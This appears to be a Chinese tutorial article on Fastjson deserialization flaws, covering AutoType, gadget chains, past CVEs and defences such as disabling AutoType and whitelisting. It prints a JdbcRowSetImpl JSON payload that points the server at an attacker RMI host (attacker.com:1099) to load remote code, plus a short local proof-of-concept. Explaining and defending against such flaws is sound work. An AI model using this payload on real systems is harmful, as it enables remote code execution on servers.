?如果你寫過Java項(xiàng)目,幾乎肯定接觸過JSON。
數(shù)據(jù)交互離不開它,微服務(wù)、配置文件、接口調(diào)用,都需要把對象轉(zhuǎn)成JSON,或者把JSON轉(zhuǎn)回對象。
那在國內(nèi),最火的解析庫是什么?
答案幾乎不用猶豫,就是Fastjson。
Fastjson速度快,功能全,阿里出品,社區(qū)使用面極大。
很多大廠的服務(wù)端代碼里,到處都能看到它的身影。
可問題是,它的歷史里出現(xiàn)過不少嚴(yán)重漏洞,尤其是大家聽得最多的“反序列化漏洞”。
| 這類漏洞危險(xiǎn)到什么程度?
簡單說,一旦被利用,就可能讓攻擊者直接在你的服務(wù)器上執(zhí)行任意代碼。
今天這篇文章,我們就來把Fastjson的來龍去脈、漏洞原理、利用方式、防御手段,都好好講一遍。
一個(gè)是把對象序列化成JSON字符串,另一個(gè)是把JSON字符串反序列化成對象。 | 列化與反序列化
正文開始前我們先理解序列化與反序列化。
在程序中,我們操作的 “對象”,比如Java中的User
類實(shí)例、Python 中的字典對象,是存在于內(nèi)存中的數(shù)據(jù)結(jié)構(gòu)。
但如果我們需要把對象通過網(wǎng)絡(luò)發(fā)送給另一臺計(jì)算機(jī)(如客戶端給服務(wù)器傳數(shù)據(jù))。
或者說,把對象保存到文件/數(shù)據(jù)庫中(持久化存儲,下次程序啟動時(shí)再用)。
而內(nèi)存中的對象無法直接傳輸或存儲,必須先轉(zhuǎn)換成一種 “可傳輸/可存儲的格式”。
而這個(gè)格式也很多,如字節(jié)流、JSON字符串、XML字符串等。
這個(gè)將內(nèi)存中的對象轉(zhuǎn)換成特定格式” 的過程,就叫序列化 。
什么是反序列化?
反序列化是序列化的 “逆操作”。
當(dāng)程序收到經(jīng)過序列化的 “特定格式數(shù)據(jù)”(如字節(jié)流、JSON 字符串)時(shí),需要把它還原成內(nèi)存中原本的對象,才能繼續(xù)使用。
這個(gè) “還原” 的過程,就叫反序列化。
舉個(gè)生活例子
可以把序列化和反序列化想象成 “打包” 和 “拆包”。
你想把一個(gè) “樂高模型”(內(nèi)存中的對象)寄給朋友:需要先把它拆成零件,放進(jìn)包裝盒(序列化:轉(zhuǎn)換成可傳輸?shù)母袷剑?,這樣就能方便地送出去。
朋友收到包裝盒后,需要把零件重新組裝成原來的樂高模型(反序列化:還原成對象)。了解了序列化與反序列化,然后我們回到Fastjson。為了方便,我還是以代碼形式展示說明一下Fastjson。
import com.alibaba.fastjson.JSON;
public class Demo {
public static void main(String[] args) {
User user = new User("wxing", 25);
String json = JSON.toJSONString(user);
System.out.println(json);
User u = JSON.parseObject(json, User.class);
System.out.println(u.getName());
}
}
運(yùn)行后,第一行輸出的就是JSON格式的字符串,第二行則還原成了對象。
這樣一來,數(shù)據(jù)在網(wǎng)絡(luò)上傳輸時(shí)用JSON表達(dá),到了本地再還原成對象,邏輯很自然。
但是,問題也出在這里。
Fastjson在設(shè)計(jì)時(shí)加了一個(gè)很強(qiáng)大的功能:AutoType。
AutoType是Fastjson、Jackson等序列化 / 反序列化框架的功能,能自動識別序列化數(shù)據(jù)中的類型標(biāo)識(如@type),將數(shù)據(jù)反序列化成對應(yīng)類型的對象,無需手動指定目標(biāo)類型。
這個(gè)功能允許JSON里攜帶類的類型信息,也就是說,不僅能還原普通的 JavaBean,還能根據(jù)JSON里指定的類型去實(shí)例化任意類。
比如寫一個(gè)這樣的JSON:
{
"@type": "com.example.User",
"name": "wxing",
"age": 25
}
當(dāng)Fastjson解析它時(shí),會去加載com.example.User
這個(gè)類,然后給它的字段賦值。
這樣做的好處是靈活,但壞處就顯而易見了。
攻擊者完全可以自己構(gòu)造JSON,把@type
寫成一個(gè)特殊的類,只要這個(gè)類在加載或賦值的過程中能觸發(fā)一些危險(xiǎn)操作,就能把漏洞利用出來。
說到這就要提到一個(gè)關(guān)鍵點(diǎn):gadget鏈。
Fastjson自己不會直接幫你執(zhí)行系統(tǒng)命令,它只是把JSON轉(zhuǎn)換成對象。
但如果某個(gè)類在反序列化的過程中做了危險(xiǎn)的事,比如連接外部服務(wù)器、加載遠(yuǎn)程類、執(zhí)行一些動態(tài)方法,那么攻擊者只需要找到這樣一個(gè)類,把它放進(jìn)JSON里,就能讓Fastjson幫他觸發(fā)。
舉個(gè)例子。
早期漏洞里常見的利用對象是com.sun.rowset.JdbcRowSetImpl
。
這個(gè)類本身并不是惡意的,但它有一個(gè)特性:在反序列化過程中,它會嘗試用JNDI去連接數(shù)據(jù)庫。
JNDI全稱是Java Naming and Directory Interface(Java 命名與目錄接口),是Java平臺中用于查找和訪問分布式系統(tǒng)中各種資源的標(biāo)準(zhǔn)接口。
它本質(zhì)上是一種 “資源定位服務(wù)”,就像一個(gè) “分布式注冊表”,讓應(yīng)用程序可以通過 “名稱” 快速找到并使用各種資源,而不用關(guān)心資源的具體位置和實(shí)現(xiàn)細(xì)節(jié)。
如果我們把它的dataSourceName
字段改成攻擊者控制的地址,比如一個(gè)惡意RMI服務(wù),那反序列化時(shí)就會自動發(fā)起請求,從而加載攻擊者的代碼。
構(gòu)造的payload看起來是這樣的:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://attacker.com:1099/Exploit",
"autoCommit": true
}
雞蒜機(jī)
這份JSON如果被Fastjson解析,就會讓服務(wù)端主動去連attacker.com:1099
,然后拿到攻擊者提供的惡意類,最終執(zhí)行代碼。
這就是經(jīng)典的Fastjson RCE。
Fastjson的漏洞歷史其實(shí)很長。
2017年爆出第一個(gè)嚴(yán)重問題,影響了 1.2.24 之前的版本,當(dāng)時(shí)的解決方案是默認(rèn)關(guān)閉AutoType。
可是后來,研究人員還是不斷地找到了繞過方式。
比如2020年的CVE-2020-10673,攻擊者繞過了黑名單限制,依舊能加載危險(xiǎn)類。
阿里每次都是緊急發(fā)版本更新,但社區(qū)安全研究員總能在新機(jī)制里找到突破口。
直到2022年,漏洞還在繼續(xù)被曝出,說明黑名單模式并不是終極解法。
Fastjson最后不得不換思路,引入了白名單機(jī)制。
也就是說,不再僅僅依賴“禁止一些危險(xiǎn)類”,而是反過來,只允許加載開發(fā)者明確聲明過的類。
這才算是徹底降低了風(fēng)險(xiǎn)。
| 利用
那在真實(shí)環(huán)境里,漏洞是怎么被利用的呢?
我們可以寫一段實(shí)驗(yàn)代碼(僅限本地測試):
import com.alibaba.fastjson.JSON;
public class FastjsonPoc {
public static void main(String[] args) {
String payload = "{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +
" \"autoCommit\":true\n" +
"}";
JSON.parse(payload);
}
}
如果本地有個(gè)攻擊者搭建的RMI服務(wù),就能直接執(zhí)行惡意代碼。
這個(gè)例子說明,漏洞利用并不復(fù)雜,只要服務(wù)端用的是有漏洞的Fastjson版本,并且直接解析了外部輸入的JSON,這就可能被打穿。
說到這里,問題就很明確了:開發(fā)者該怎么防御?
第一,必須關(guān)閉AutoType功能。
如果真的要用,那一定要限制在明確的業(yè)務(wù)類范圍內(nèi)。ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
或者加白名單:
ParserConfig.getGlobalInstance().addAccept("com.example.");
很多公司出事就是因?yàn)橛昧岁惸甑睦习姹荆恢睕]升級,漏洞被公開多年后還在用。
第三,考慮替代方案。
比如Jackson或Gson,這兩個(gè)庫在功能上能滿足絕大多數(shù)需求,而且在安全上社區(qū)響應(yīng)更快一些。
當(dāng)然,它們也并非完全沒有風(fēng)險(xiǎn),但至少比Fastjson歷史上那種“連環(huán)爆雷”要輕一點(diǎn)。
第四,減少依賴。別讓系統(tǒng)里充斥著一堆沒用的第三方庫。
因?yàn)橹灰@些類存在于classpath上,攻擊者就有可能拿它們做gadget。
越干凈的環(huán)境,攻擊面越小。
| 總結(jié)一下
Fastjson的漏洞本質(zhì)上是因?yàn)樗o了JSON數(shù)據(jù)太大的權(quán)力,讓外部輸入能直接控制類的加載。
這種靈活性在業(yè)務(wù)里可能方便,但在安全層面幾乎就是災(zāi)難。
過去幾年,它不斷被曝出新的繞過方式,阿里也在不斷修復(fù),從黑名單到白名單,才逐漸把風(fēng)險(xiǎn)壓下去。
對開發(fā)者來說,最重要的就是:不要掉以輕心。
大家別覺得只是解析個(gè)JSON,沒什么大不了。
事實(shí)上,很多嚴(yán)重的數(shù)據(jù)泄露、服務(wù)器入侵,都是從這么一個(gè)小入口被撬開的。
到這兒,同學(xué)應(yīng)該能明白Fastjson漏洞的來龍去脈了:它為什么會出事,攻擊者怎么利用,怎么修復(fù)和防御。
對安全來說,便利和風(fēng)險(xiǎn)總是一起出現(xiàn)的,框架越靈活,就越要小心。
如果大家現(xiàn)在項(xiàng)目里還在用老版本的Fastjson,建議立刻去檢查。
如果真的改不了,至少加上白名單和隔離。
別讓一個(gè)小小的JSON解析,變成系統(tǒng)里最薄弱的一環(huán)。
閱讀原文:點(diǎn)擊這里?
該文章在 2025/8/19 12:37:25 編輯過